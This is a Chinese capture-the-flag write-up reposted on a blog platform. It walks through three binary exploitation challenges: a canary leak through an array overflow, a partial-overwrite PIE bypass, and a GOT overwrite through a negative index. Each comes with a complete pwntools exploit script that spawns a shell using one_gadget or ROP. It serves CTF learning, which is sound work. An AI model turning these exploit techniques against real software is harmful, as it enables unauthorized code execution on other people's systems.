PWNCTF部分复现

Exploit Class

根据readData和writedata函数的逻辑发现数组是char [22][12],主要是判断越界的if语句有逻辑漏洞

readData函数

writeData函数

我通过输入正好越界的数组地址发现Canary被破坏,程序退出时SIGARBT,发现canary正好在数组上方…

当然也可以在比较canary时下断点,在栈上找到RAX是和哪一个数据比较的

这里发现在0x7fffffffdbf0处,那么就可以得出相对数组的偏移了

接下来就可以泄露canary了,由于canary的设计就考虑了被顺带打印出来,最低位一定是\x00,那么填满数组的21行,再在22行输入单个字符防止零截断,就可以顺带打印出canary

由于程序保护全开,不过PIE对本题没什么影响,这里我选择泄露栈上的__libc_start_main函数地址,推算出libc基址后用one_gadget找到一发getshell的偏移覆盖saved rip,泄露方法同canary

不过需要注意的是,每次read写入12字节,调试发现是entry=24时,retaddr在偏移8处,所以这里只能把8字节的p64(one_gadget)分两次写入,ROP方法也是一样的

ROP方法需要pop rdi ret,如果用elf中的gadget,需要计算出程序加载基址,必须再次泄露绕过PIE,这里我直接用了libc中的pop rdi ret,不需要再泄露一次了

不过这里我打远程的时候有一些玄学问题,给的libc好像有点奇怪,可能是因为比赛也结束好几天了……exp中的gadget都是选择的我本地运行环境的libc

EXP:

from pwn import *

p = process("./exploitClass")
elf = ELF("./exploitClass")
libc = elf.libc

def read(index):
    p.recvuntil("Enter 1 to read, 2 to write and any other number to exit!\n")
    p.sendline("1")
    p.recvuntil("Which entry to show?\n")
    p.sendline(str(index))
    ret_info = p.recvuntil("\n")
    return ret_info[:-1]

def write(index,data):
    p.recvuntil("Enter 1 to read, 2 to write and any other number to exit!\n")
    p.sendline("2")
    p.recvuntil("Which entry to write?\n")
    p.sendline(str(index))
    p.recvuntil("What to write?\n")
    p.send(data)


write(21,"A"*12)
write(22,"B")
canary = u64(read(21)[12:20])-ord("B")
print "canary = " + hex(canary)

#libc_start_main offset = 48
write(22,"1"*12)
write(23,"1"*12)
write(24,"1"*12)
write(25,"1"*12)

libc_base=u64(read(21)[12+48:20+48-2].ljust(8,'\x00')) - 240 - libc.symbols['__libc_start_main']

print "libc_base = " + hex(libc_base)
raw_input()
pop_rdi_ret = 0x21102 + libc_base
p64_pop_rdi = p64(pop_rdi_ret)
binsh_addr = 0x18cd57 + libc_base
system = libc.symbols['system'] + libc_base
write(22,p64(canary))

#one_gadget
write(24,"1"*8+p64(libc_base+0x45216)[0:4])
write(25,p64(libc_base+0x45216)[4:8])

#write(24,"1"*8+p64_pop_rdi[0:4])
#write(25,p64_pop_rdi[4:8]+p64(binsh_addr))
#write(26,p64(system))

p.sendline("3")
p.interactive()

Importantservice

IDA简单逆向下,发现逻辑还是挺清楚的,可以让read溢出一次,但是程序开了PIE和ASLR,用于泄露的话就没办法劫持流程了

同时发现程序中有不需要参数的givemeshellpls函数

本题需要注意到函数指针v5在栈上,原本v5被赋值成dologic,而调试发现dologic和giveshell的函数只有最低一字节不同,正好绕过PIE

用peda的info functions查看

这里如果要给开了PIE的程序下断点,我一般是先vmmap看ELF的基址,然后手动加上函数偏移

判断的绕过也比较简单,第二个为0即可

通常,一个内存页大小为0x1000,这表明地址的后12位,3个十六进制数的地址是始终不变的,也就是patial write bypass PIE

这几题实际操作中发现涉及scanf的读入整数最好都用sendline,否则会卡住

EXP:

from pwn import *
p = process("./importantservice")
elf = ELF("./importantservice")

#gdb-peda  info functions
shell_func = 0x11a9
dologic = 0x11bc

#send(payload)不能用sendline
#这里我尝试payload = 'A'*0x400+'\xa9\x11'
#之后sendline("1026 0 ")
#会失败,因为程序运行时dologic = 0x00005555555551bc
#只是最后两位没有变,这样的话改了4位

p.recv()
p.sendline("1025 0")
p.recv()

payload = 'A'*0x400+'\xa9'

p.send(payload)
p.interactive()

kindergarten

有漏洞的逻辑,主要是没有判断数组下标为负值的情况

发现array在bss段上

而got和plt都在数组的低地址处,这表明输入负数下标就可以有机会篡改表中数值

这里因为exit没有被调用过,所以选择改exit@plt,偏移为-0x50

程序提供了libc,这里用one_gadget这个工具找到一发getshell的偏移

调试时发现满足RAX==0的条件

实际写exp时需要注意p8()和u8()的signed=True参数,一开始写的时候一直失败,后来看context.log_level=’debug’的输出发现这一点

泄露出函数在GOT表中的位置后计算出libc基址,调整one_gadget的地址

这里交互时也可以发现都必须是有符号的数,写入的负数输出时仍然是负数

Exp中leak数据给出了2种方法,一种是不断的p8()然后一次性u64(),第二种是通过位运算得出

EXP:

from pwn import *
p = process("./kindergarten",env = {"LD_PRELOAD":"./libc-2.23.so"})
elf = ELF("./kindergarten")
libc = ELF("./libc-2.23.so")
context.log_level = 'debug'

def leak(io,offset):
    buf=''
    addr = 0
    for i in xrange(8):
        io.recvuntil("give me an index:\n> ")
        io.sendline(str(offset+i)) # input < 0 ,最先打印的是低字节
        io.recvuntil("is ")
        byte = int(io.recvuntil(".",drop=True))
        io.sendline(str(byte))
        buf += p8(byte,signed=True) #这里符合p64,低字节在前
        addr |= ((byte&0xff)<<(8*i))    
        #不影响其他位的或运算,选择&0xff
    return u64(buf) # return addr 两种方法均可

def write(io,offset,data):
    for i in xrange(len(data)):
        io.recvuntil("give me an index:\n> ")
        io.sendline(str(offset+i))
        io.recvline()
        byte = u8(data[i],signed=True)
        io.sendline(str(byte))  

#手动交互得到的也是-1这样的数据
#从调试输出得到p8和u8都必须加上signed = True
#当然write函数中也可以用移位,再u8()

one_gadget_off = 0x45216 # rax == NULL,satisfied
array = 0x4080 # array = setvbuf.got.plt + 0x60

setvbuf_addr = leak(p,-0x60)
print "setvbuf_addr = " + hex(setvbuf_addr)
libc_base = setvbuf_addr - libc.symbols['setvbuf']
one_gadget = libc_base + one_gadget_off

#把exit@plt改成one_gadget
write(p,-0x50,p64(one_gadget))
p.sendline("Give me the shell")
p.recv()
p.interactive()

PS:PWNCTF的地址https://uni.hctf.fun/pages/home/ 题目仍然是可以下载的

本文分享自微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-11-19

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 2018春秋圣诞欢乐赛web题解

    Do you know .swp file? 非正常关闭vi编辑器时会生成一个.swp文件

    安恒网络空间安全讲武堂
  • (粉丝投稿)64位linux下栈溢出漏洞利用【结尾有巨大彩蛋哦!!】

    64位linux下栈溢出漏洞利用 linux_64与linux_86的区别有:可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。其...

    安恒网络空间安全讲武堂
  • Python编写渗透工具学习笔记一 | 0x03用多线程扫描某一网段中存活的主机

    0x03用多线程扫描 某一网段中存活的主机 (如果渗透进了内网,还可以扫描内网上里的存活主机) 脚本利用演示+实现思路分析 实现思路: 调用终端执行ping命令...

    安恒网络空间安全讲武堂
  • [享学Netflix] 三十七、源生Ribbon介绍 --- 客户端负载均衡器

    代码下载地址:https://github.com/f641385712/netflix-learning

    YourBatman
  • 一个基于TCP/IP的服务器与客户端通讯的小项目(超详细版)

    2.Socket对象的RemoteEndPoint、 LocalEndPoint都是这个类型

    WeiMLing
  • 自制手写稿处理神器

    今天分享一个 GitHub 上一个实用神器,可以让你的手写稿图片变清晰、图片大小变更小。

    谭小谭
  • Spring Boot的exit code

    任何应用程序都有exit code,这个code是int值包含负值,在本文中我们将会探讨Spring Boot中的 exit code。

    程序那些事
  • 一步一步学Linq to sql(十):多层架构MVC WCF Linq

     A,MVC网站项目 MvcOperation:留言簿表现层  B,类库项目 Contract:定义数据访问服务的契约  C,类库项目 Service:定义数据...

    aehyok
  • tensorflow: 打印内存中的变量

    JNingWei
  • Linux之RPM GPG签名

    原文地址:http://linux.chinaunix.net/techdoc/system/2007/09/26/968723.shtml

    超蛋lhy

扫码关注云+社区

领取腾讯云代金券